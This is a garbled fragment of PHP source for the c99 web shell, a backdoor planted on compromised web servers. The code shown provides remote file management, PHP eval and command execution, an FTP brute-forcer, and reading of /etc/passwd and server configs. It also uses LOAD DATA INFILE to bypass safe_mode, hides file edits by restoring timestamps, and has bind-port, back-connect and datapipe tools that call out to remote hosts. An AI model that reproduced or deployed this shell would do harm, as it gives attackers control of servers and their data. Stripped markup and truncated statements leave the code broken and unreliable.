{
$letters .= "" . $letter . " ";
}
$letters .= " ] ";
}
}
if (!empty($letters))
{
echo "Detected drives : " . $letters . "" . $item[0] . " ";
}
}
echo "
";
if ($act == "")
{
$act = $dspact = "ls";
}
if ($act == "sql")
{
$sql_surl = $surl . "act=sql";
if ($sql_login)
{
$sql_surl .= "&sql_login=" . htmlspecialchars($sql_login);
}
if ($sql_passwd)
{
$sql_surl .= "&sql_passwd=" . htmlspecialchars($sql_passwd);
}
if ($sql_server)
{
$sql_surl .= "&sql_server=" . htmlspecialchars($sql_server);
}
if ($sql_port)
{
$sql_surl .= "&sql_port=" . htmlspecialchars($sql_port);
}
if ($sql_db)
{
$sql_surl .= "&sql_db=" . htmlspecialchars($sql_db);
}
$sql_surl .= "&";?>SQL Manager:Can't connect " . $err . " ";
}
}
else
{
$sqlquicklaunch = array();
$sqlquicklaunch[] = array(
"Index",
$surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&"
);
$sqlquicklaunch[] = array(
"Query",
$sql_surl . "sql_act=query&sql_tbl=" . urlencode($sql_tbl)
);
$sqlquicklaunch[] = array(
"Server-status",
$surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=serverstatus"
);
$sqlquicklaunch[] = array(
"Server variables",
$surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=servervars"
);
$sqlquicklaunch[] = array(
"Processes",
$surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=processes"
);
$sqlquicklaunch[] = array(
"Logout",
$surl . "act=sql"
);
echo "MySQL " . mysqli_get_server_info() . " (proto v." . mysqli_get_proto_info() . ") running in " . htmlspecialchars($sql_server) . ":" . htmlspecialchars($sql_port) . " as " . htmlspecialchars($sql_login) . "@" . htmlspecialchars($sql_server) . " (password - \"" . htmlspecialchars($sql_passwd) . "\") " . $item[0] . " ";
if (!$sql_sock)
{ ?> Info If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: Username Password Database
">Home " . htmlspecialchars($sql_db) . " ]---» " . htmlspecialchars($row[0]) . " ";
mysqli_free_result($count);
$c++;
}
if (!$c)
{
echo "No tables found in database.";
}
}
}
else
{ ?>Home ";
$diplay = true;
if ($sql_db)
{
if (!is_numeric($c))
{
$c = 0;
}
if ($c == 0)
{
$c = "no";
}
echo "There are " . $c . " table(s) in this DB (" . htmlspecialchars($sql_db) . ")." . $item[0] . " ] ";
}
}
echo " Error: Query result: ";
$check = 0;
while ($row = mysqli_fetch_array($sql_query_result, MYSQLI_NUM))
{
$check = 1;
echo "";
foreach ($row as $r)
{
echo "$r ";
}
echo " ";
}
if ($check == 0)
{
echo "Query OK, no results to show
";
if ((mysqli_create_db($sql_sock, $sql_newdb)) and (!empty($sql_newdb)))
{
echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success! [ Structure ] ";
echo "[ Browse ] ";
echo "[ Dump ] ";
echo "[ Insert ] ";
echo "Dump error! Can't write to \"" . htmlspecialchars($sql_dump_file) . "\"!";
}
else
{
fwrite($fp, $ret);
fclose($fp);
echo "Dumped! Dump has been writed to \"" . htmlspecialchars(realpath($sql_dump_file)) . "\" (" . view_size(filesize($sql_dump_file)) . ") .";
}
}
else
{
echo "Dump: nothing to do! ";
}
}
}
if ($diplay)
{
if (!empty($sql_tbl))
{
if (empty($sql_tbl_act))
{
$sql_tbl_act = "browse";
}
$count = mysqli_query($sql_sock, "SELECT COUNT(*) FROM `" . $sql_tbl . "`;");
$count_row = mysqli_fetch_array($count);
mysqli_free_result($count);
$tbl_struct_result = mysqli_query($sql_sock, "SHOW FIELDS FROM `" . $sql_tbl . "`;");
$tbl_struct_fields = array();
while ($row = mysqli_fetch_assoc($tbl_struct_result))
{
$tbl_struct_fields[] = $row;
}
if ($sql_ls > $sql_le)
{
$sql_le = $sql_ls + $perpage;
}
if (empty($sql_tbl_page))
{
$sql_tbl_page = 0;
}
if (empty($sql_tbl_ls))
{
$sql_tbl_ls = 0;
}
if (empty($sql_tbl_le))
{
$sql_tbl_le = 30;
}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage))
{
$perpage = 10;
}
$numpages = $count_row[0] / $perpage;
$e = explode(" ", $sql_order);
if (count($e) == 2)
{
if ($e[0] == "d")
{
$asc_desc = "DESC";
}
else
{
$asc_desc = "ASC";
}
$v = "ORDER BY `" . $e[1] . "` " . $asc_desc . " ";
}
else
{
$v = "";
}
$query = "SELECT * FROM `" . $sql_tbl . "` " . $v . "LIMIT " . $sql_tbl_ls . " , " . $perpage . "";
$result = mysqli_query($sql_sock, $query) or print (mysqli_smarterror($sql_sock));
echo " Table " . htmlspecialchars($sql_tbl) . " (" . mysqli_num_fields($result) . " cols and " . $count_row[0] . " rows) [ Structure ] ";
echo "[ Browse ] ";
echo "[ Dump ] ";
echo "[ Insert ] ";
if ($sql_tbl_act == "structure")
{
echo "Coming sooon! ";
}
if ($sql_tbl_act == "insert")
{
if (!is_array($sql_tbl_insert))
{
$sql_tbl_insert = array();
}
if (!empty($sql_tbl_insert_radio))
{
}
else
{
echo "Inserting row into table: ";
}
echo $i;
if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le))
{
echo " Query is not possible, you need to select a database ";
}
if ($sql_act == "newdb")
{
echo "";
if ((mysqli_create_db($sql_sock, $sql_newdb)) and (!empty($sql_newdb)))
{
echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success! Server-status variables: Name Value " . $row[0] . " " . $row[1] . "
Server variables: Name Value " . $row[0] . " " . $row[1] . "
";
mysqli_free_result($result);
}
if ($sql_act == "processes")
{
if (!empty($kill))
{
$query = "KILL " . $kill . ";";
$result = mysqli_query($sql_sock, $query);
echo "Killing process #" . $kill . "... ok. he is dead, amen. ";
}
$result = mysqli_query($sql_sock, "SHOW PROCESSLIST");
echo "Processes: ID USER HOST DB COMMAND TIME STATE INFO Action " . $row[0] . " " . $row[1] . " " . $row[2] . " " . $row[3] . " " . $row[4] . " " . $row[5] . " " . $row[6] . " " . $row[7] . " Kill
";
mysqli_free_result($result);
}
if ($sql_act == "getfile")
{
$tmpdb = $sql_login . "_tmpdb";
$select = mysqli_select_db($sql_sock, $tmpdb);
if (!$select)
{
mysqli_create_db($sql_sock, $tmpdb);
$select = mysqli_select_db($sql_sock, $tmpdb);
$created = !!$select;
}
if ($select)
{
$created = false;
mysqli_query($sql_sock, "CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysqli_query($sql_sock, "LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file");
$result = mysqli_query($sql_sock, "SELECT * FROM tmp_file;");
if (!$result)
{
echo "Error in reading file (permision denied)! ";
}
else
{
for ($i = 0;$i < mysqli_num_fields($result);$i++)
{
$name = mysqli_field_name($result, $i);
}
$f = "";
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC))
{
$f .= join("\r\n", $row);
}
if (empty($f))
{
echo "File \"" . $sql_getfile . "\" does not exists or empty! File \"" . $sql_getfile . "\":
";
if ($sql_sock)
{
$affected = @mysqli_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0))
{
$affected = 0;
}
echo " Affected rows: " . $affected . "
";
}
if ($act == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir))
{
echo "Make Dir \"" . htmlspecialchars($mkdir) . "\" : object alredy exists";
}
elseif (!mkdir($mkdir))
{
echo "Make Dir \"" . htmlspecialchars($mkdir) . "\" : access denied";
}
echo "Ftp Quick brute: Connected to " . $host . " with login \"" . $login . "\" and password \"" . $pass . "\" Connected to " . getenv("SERVER_NAME") . " with login \"" . $str[0] . "\" and password \"" . $str[0] . "\" Done! " . $success . " Permision denied! Directory information: ";
if (!$win)
{
echo "Owner/Group ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"] ? $ow["name"] : fileowner($d)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d));
}
echo " Perms " . view_perms_color($d) . " Create time " . date("d/m/Y H:i:s", filectime($d)) . " Access time " . date("d/m/Y H:i:s", fileatime($d)) . " MODIFY time " . date("d/m/Y H:i:s", filemtime($d)) . "
Server security information: Open base dir: " . $hopenbasedir . " *nix /etc/passwd: " . $uid["dir"] . " ";
echo join(":", $uid) . "Get /etc/passwd You can't crack winnt passwords(" . $v . ") You can crack winnt passwords. Download View cpanel user-domains logs View cpanel logs Apache configuration (httpd.conf) Apache configuration (httpd.conf) Syslog configuration (syslog.conf) Message Of The Day Hosts " . $name . " - ";
}
echo $name . nl2br($value) . "Make File \"" . htmlspecialchars($mkfile) . "\" : object alredy exists";
}
elseif (!fopen($mkfile, "w"))
{
echo "Make File \"" . htmlspecialchars($mkfile) . "\" : access denied";
}
else
{
$act = "f";
$d = dirname($mkfile);
if (substr($d, -1) != DIRECTORY_SEPARATOR)
{
$d .= DIRECTORY_SEPARATOR;
}
$f = basename($mkfile);
}
}
else
{
$act = $dspact = "ls";
}
}
if ($act == "encoder")
{
echo "Encoder: Buffer is empty! File-System buffer Can't delete " . __FILE__ . "! Error: incorrect confimation! ";
}
$rnd = rand(0, 9) . rand(0, 9) . rand(0, 9);
echo "";
}
}
if ($act == "update")
{
$ret = c99sh_getupdate(!!$confirmupdate);
echo "" . $ret . " ";
if (stristr($ret, "new version"))
{
echo "Thanks for your feedback! Your ticket ID: " . $ticket . ". Search in file-system: No files found! ";
}
else
{
$ls_arr = $found;
$disp_fullpath = true;
$act = "ls";
}
}
echo "";
if ($act == "ls")
{
$dspact = $act;
echo "Search took " . $searchtime . " secs (" . $search_i_f . " files and " . $search_i_d . " folders, " . round(($search_i_f + $search_i_d) / $searchtime, 4) . " objects per second). Change file-mode with error: can't get current value.";
}
else
{
$form = true;
if ($chmod_submit)
{
$octet = "0" . base_convert(($chmod_o["r"] ? 1 : 0) . ($chmod_o["w"] ? 1 : 0) . ($chmod_o["x"] ? 1 : 0) . ($chmod_g["r"] ? 1 : 0) . ($chmod_g["w"] ? 1 : 0) . ($chmod_g["x"] ? 1 : 0) . ($chmod_w["r"] ? 1 : 0) . ($chmod_w["w"] ? 1 : 0) . ($chmod_w["x"] ? 1 : 0) , 2, 8);
if (chmod($d . $f, $octet))
{
$act = "ls";
$form = false;
$err = "";
}
else
{
$err = "Can't chmod to " . $octet . ".";
}
}
if ($form)
{
$perms = parse_perms($mode);
echo "Changing file-mode (" . $d . $f . "), " . view_perms_color($d . $f) . " (" . substr(decoct(fileperms($d . $f)) , -4, 4) . ") Error: " . $err : "") . "";
}
}
}
if ($act == "upload")
{
$uploadmess = "";
$uploadpath = str_replace("\\", DIRECTORY_SEPARATOR, $uploadpath);
if (empty($uploadpath))
{
$uploadpath = $d;
}
elseif (substr($uploadpath, -1) != "/")
{
$uploadpath .= "/";
}
if (!empty($submit))
{
global $HTTP_POST_FILES;
$uploadfile = $HTTP_POST_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"]))
{
if (empty($uploadfilename))
{
$destin = $uploadfile["name"];
}
else
{
$destin = $userfilename;
}
if (!move_uploaded_file($uploadfile["tmp_name"], $uploadpath . $destin))
{
$uploadmess .= "Error uploading file " . $uploadfile["name"] . " (can't copy \"" . $uploadfile["tmp_name"] . "\" to \"" . $uploadpath . $destin . "\"!Incorect url! " . $uploadmess . " ";
$act = "ls";
}
else
{
echo "File upload: " . $uploadmess . " ";
}
}
if ($act == "delete")
{
$delerr = "";
foreach ($actbox as $v)
{
$result = false;
$result = fs_rmobj($v);
if (!$result)
{
$delerr .= "Can't delete " . htmlspecialchars($v) . "Deleting with errors: Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. Pasting with errors: Archivation errors: Pasting with errors: Result of execution this command :Execution command ";
if (empty($cmd_txt))
{
$cmd_txt = true;
}
}
echo "";
}
}
if ($act == "ls")
{
if (count($ls_arr) > 0)
{
$list = $ls_arr;
}
else
{
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== false)
{
$list[] = $d . $o;
}
closedir($h);
}
else
{
}
}
if (count($list) == 0)
{
echo "Can't open folder (" . htmlspecialchars($d) . ")! Name ";
$row[] = "Size ";
$row[] = "Modify ";
if (!$win)
{
$row[] = "Owner/Group ";
}
$row[] = "Perms ";
$row[] = "Action ";
$parsesort = parsesort($sort);
$sort = $parsesort[0] . $parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a")
{
$parsesort[1] = "d";
}
$y = "";
$y .= " ";
$row[$k] .= $y;
for ($i = 0;$i < count($row) - 1;$i++)
{
if ($i != $k)
{
$row[$i] = "" . $row[$i] . " ";
}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d")
{
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"], $objects["folders"], $objects["links"], $objects["files"]);
$tab = array();
$tab["cols"] = array(
$row
);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath)
{
$disppath = $v;
}
else
{
$disppath = $o;
}
$disppath = str2mini($disppath, 60);
if (in_array($v, $sess_data["cut"]))
{
$disppath = "" . $disppath . " ";
}
elseif (in_array($v, $sess_data["copy"]))
{
$disppath = "" . $disppath . " ";
}
foreach ($regxp_highlight as $r)
{
if (preg_match($r[0], $o))
{
if ((!is_numeric($r[1])) or ($r[1] > 3))
{
$r[1] = 0;
ob_clean();
echo "Warning! Configuration error in \$regxp_highlight[" . $k . "][0] - unknown command.";
c99shexit();
}
else
{
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2]))
{
$r[2] = "";
$r[3] = " ";
}
$disppath = $r[2] . $disppath . $r[3];
if ($r[4])
{
break;
}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".")
{
$row[] = "" . $o . " ";
$row[] = "LINK";
}
elseif ($o == "..")
{
$row[] = "" . $o . " ";
$row[] = "LINK";
}
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= " => " . readlink($v);
$type = "LINK";
$row[] = "[" . $disppath . "] ";
}
else
{
$type = "DIR";
$row[] = "[" . $disppath . "] ";
}
$row[] = $type;
}
elseif (is_file($v))
{
$ext = explode(".", $o);
$c = count($ext) - 1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = "" . $disppath . " ";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s", $a[2]);
if (!$win)
{
$row[] = $a[3];
}
$row[] = "" . view_perms_color($v) . " Listing folder (" . count($tab["files"]) . " files and " . (count($tab["folders"]) + count($tab["links"])) . " folders):
With selected: ";
echo "Delete ";
echo "Change-mode ";
if ($usefsbuff)
{
echo "Cut ";
echo "Copy ";
echo "Unselect ";
}
echo "
";
echo "";
}
}
if ($act == "tools")
{
$bndportsrcs = array(
"c99sh_bindport.pl" => array(
"Using PERL",
"perl %path %port"
) ,
"c99sh_bindport.c" => array(
"Using C",
"%path %port %pass"
)
);
$bcsrcs = array(
"c99sh_backconn.pl" => array(
"Using PERL",
"perl %path %host %port"
) ,
"c99sh_backconn.c" => array(
"Using C",
"%path %host %port"
)
);
$dpsrcs = array(
"c99sh_datapipe.pl" => array(
"Using PERL",
"perl %path %localport %remotehost %remoteport"
) ,
"c99sh_datapipe.c" => array(
"Using C",
"%path %localport %remoteport %remotehost"
)
);
if (!is_array($bind))
{
$bind = array();
}
if (!is_array($bc))
{
$bc = array();
}
if (!is_array($datapipe))
{
$datapipe = array();
}
if (!is_numeric($bind["port"]))
{
$bind["port"] = $bindport_port;
}
if (empty($bind["pass"]))
{
$bind["pass"] = $bindport_pass;
}
if (empty($bc["host"]))
{
$bc["host"] = getenv("REMOTE_ADDR");
}
if (!is_numeric($bc["port"]))
{
$bc["port"] = $bc_port;
}
if (empty($datapipe["remoteaddr"]))
{
$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";
}
if (!is_numeric($datapipe["localport"]))
{
$datapipe["localport"] = $datapipe_localport;
}
if (!empty($bindsubmit))
{
echo "Result of binding port: " . getenv("SERVER_ADDR") . ":" . $bind["port"] . " ! You should use NetCat©, run \"nc -v " . getenv("SERVER_ADDR") . " " . $bind["port"] . " \"!View binder's process Result of back connection: Result of datapipe-running: " . getenv("SERVER_ADDR") . ":" . $datapipe["port"] . ", and you will connected to " . $datapipe["remoteaddr"] . " ! You should use NetCat©, run \"nc -v " . getenv("SERVER_ADDR") . " " . $bind["port"] . " \"!View datapipe process Binding port: Back connection: nc -l -n -v -p "!Datapipe: Note: sources will be downloaded from remote server.Processes:" . $head[$i] . " ";
$line = explode(" ", $line);
$line[10] = join(" ", array_slice($line, 10));
$line = array_slice($line, 0, 11);
if ($line[0] == get_current_user())
{
$line[0] = "" . $line[0] . " ";
}
$line[] = "KILL ";
}
}
}
else
{
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
while (preg_match(" ", $ret))
{
$ret = str_replace(" ", " ", $ret);
}
$ret = convert_cyr_string($ret, "d", "w");
$stack = explode("\n", $ret);
unset($stack[0], $stack[2]);
$stack = array_values($stack);
$head = explode(" ", $stack[0]);
$head[1] = explode(" ", $head[1]);
$head[1] = $head[1][0];
$stack = array_slice($stack, 1);
unset($head[2]);
$head = array_values($head);
if ($parsesort[1] != "a")
{
$y = "" . trim($head[$i]) . " ";
$line = explode(" ", $line);
$line[1] = intval($line[1]);
$line[2] = $line[3];
unset($line[3]);
$line[2] = intval(str_replace(" ", "", $line[2])) * 1024;
$prcs[] = $line;
echo " ";
}
}
}
$head[$k] = "" . $head[$k] . " " . $y;
$v = $processes_sort[0];
usort($prcs, "tabsort");
if ($processes_sort[1] == "d")
{
$prcs = array_reverse($prcs);
}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab, $prcs);
echo "";
foreach ($tab as $i => $k)
{
echo "";
foreach ($k as $j => $v)
{
if ($win and $i > 0 and $j == 2)
{
$v = view_size($v);
}
echo "" . $v . " ";
}
echo " ";
}
echo "
";
}
}
if ($act == "eval")
{
if (!empty($eval))
{
echo "Result of execution this PHP-code :Execution PHP-code ";
if (empty($eval_txt))
{
$eval_txt = true;
}
}
echo "";
}
if ($act == "f")
{
if ((!is_readable($d . $f) or is_dir($d . $f)) and $ft != "edit")
{
if (file_exists($d . $f))
{
echo "Permision denied (" . htmlspecialchars($d . $f) . ")! File does not exists (" . htmlspecialchars($d . $f) . ")! Create Viewing file: " . $t[0] . " " . $t[0] . " " . $t[0] . " + ) |";
}
echo "Information: Path " . $d . $f . " Size " . view_size(filesize($d . $f)) . " MD5 " . md5_file($d . $f) . " Owner/Group ";
$ow = posix_getpwuid(fileowner($d . $f));
$gr = posix_getgrgid(filegroup($d . $f));
echo ($ow["name"] ? $ow["name"] : fileowner($d . $f)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d . $f));
}
echo " Perms " . view_perms_color($d . $f) . " Create time " . date("d/m/Y H:i:s", filectime($d . $f)) . " Access time " . date("d/m/Y H:i:s", fileatime($d . $f)) . " MODIFY time " . date("d/m/Y H:i:s", filemtime($d . $f)) . "
FULL HEXDUMP ";
$str = fread($fi, filesize($d . $f));
}
else
{
echo "HEXDUMP PREVIEW ";
$str = fread($fi, $hexdump_lines * $hexdump_rows);
}
$n = 0;
$a0 = "000000000 ";
break;
case 32:
case 10:
case 13:
$a2 .= " ";
break;
default:
$a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows)
{
$n = 0;
if ($i + 1 < strlen($str))
{
$a0 .= sprintf("%08X", $i + 1) . "" . $a0 . " " . $a1 . " " . $a2 . "
Base64 Encode Base64 Encode + Chunk Base64 Encode + Chunk + Quotes Base64 Decode";
if (base64_encode($encoded) != $text)
{
echo " (failed)";
}
echo " HEXDUMP: [Full ] [Preview ]Base64:
[Encode ]
[+chunk ]
[+chunk+quotes ]
[Decode ]
";
}
elseif ($ft == "html")
{
if ($white)
{
@ob_clean();
}
echo $r;
if ($white)
{
c99shexit();
}
}
elseif ($ft == "txt")
{
echo "
" . htmlspecialchars($r) . " ";
}
elseif ($ft == "ini")
{
echo "";
var_dump(parse_ini_file($d . $f, true));
echo " ";
}
elseif ($ft == "phpsess")
{
echo "";
$v = explode("|", $r);
echo $v[0] . " ";
}
elseif ($ft == "exe")
{
$ext = explode(".", $f);
$c = count($ext) - 1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach ($exeftypes as $k => $v)
{
if (in_array($ext, $v))
{
$rft = $k;
break;
}
}
$cmd = str_replace("%f%", $f, $rft);
echo "Execute file: ";
}
elseif ($ft == "sdb")
{
echo "";
var_dump(unserialize(base64_decode($r)));
echo " ";
}
elseif ($ft == "code")
{
if (preg_match("php" . "BB 2.(.*) auto-generated config file", $r))
{
$arr = explode("\n", $r);
if (count($arr == 18))
{
include ($d . $f);
echo "phpBB configuration is detected in this file!Connect to DB ";
if (!empty($white))
{
@ob_clean();
}
highlight_file($d . $f);
if (!empty($white))
{
c99shexit();
}
echo "
";
}
elseif ($ft == "download")
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: " . filesize($d . $f));
header("Content-disposition: attachment; filename=\"" . $f . "\";");
echo $r;
exit;
}
elseif ($ft == "notepad")
{
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"" . $f . ".txt\";");
echo ($r);
exit;
}
elseif ($ft == "img")
{
$inf = getimagesize($d . $f);
if (!$white)
{
if (empty($imgsize))
{
$imgsize = 20;
}
$width = $inf[0] / 100 * $imgsize;
$height = $inf[1] / 100 * $imgsize;
echo "Size: ";
$sizes = array(
"100",
"50",
"20"
);
foreach ($sizes as $v)
{
echo "";
if ($imgsize != $v)
{
echo $v;
}
else
{
echo "" . $v . " ";
}
echo " ";
}
echo "Can't write to file! ";
}
else
{
echo "Saved! ";
fwrite($fp, $edit_text);
fclose($fp);
if ($filestealth)
{
touch($d . $f, $stat[9], $stat[8]);
}
$r = $edit_text;
}
}
$rows = count(explode("\r\n", $r));
if ($rows < 10)
{
$rows = 10;
}
if ($rows > 30)
{
$rows = 30;
}
echo "";
}
elseif (!empty($ft))
{
echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. Unknown extension (" . $ext . "), please, select type manually. ";
foreach ($k as $u)
{
echo $u . ": ";
}
exit;
}
if ($act == "about")
{
echo "Credits:KaizenLouie for Latest safe-build and update for PHP 7, and cermmik for MySQL support. ";
} ?>
:: Make Dir :: :: Make File ::
:: Go Dir :: :: Go File ::
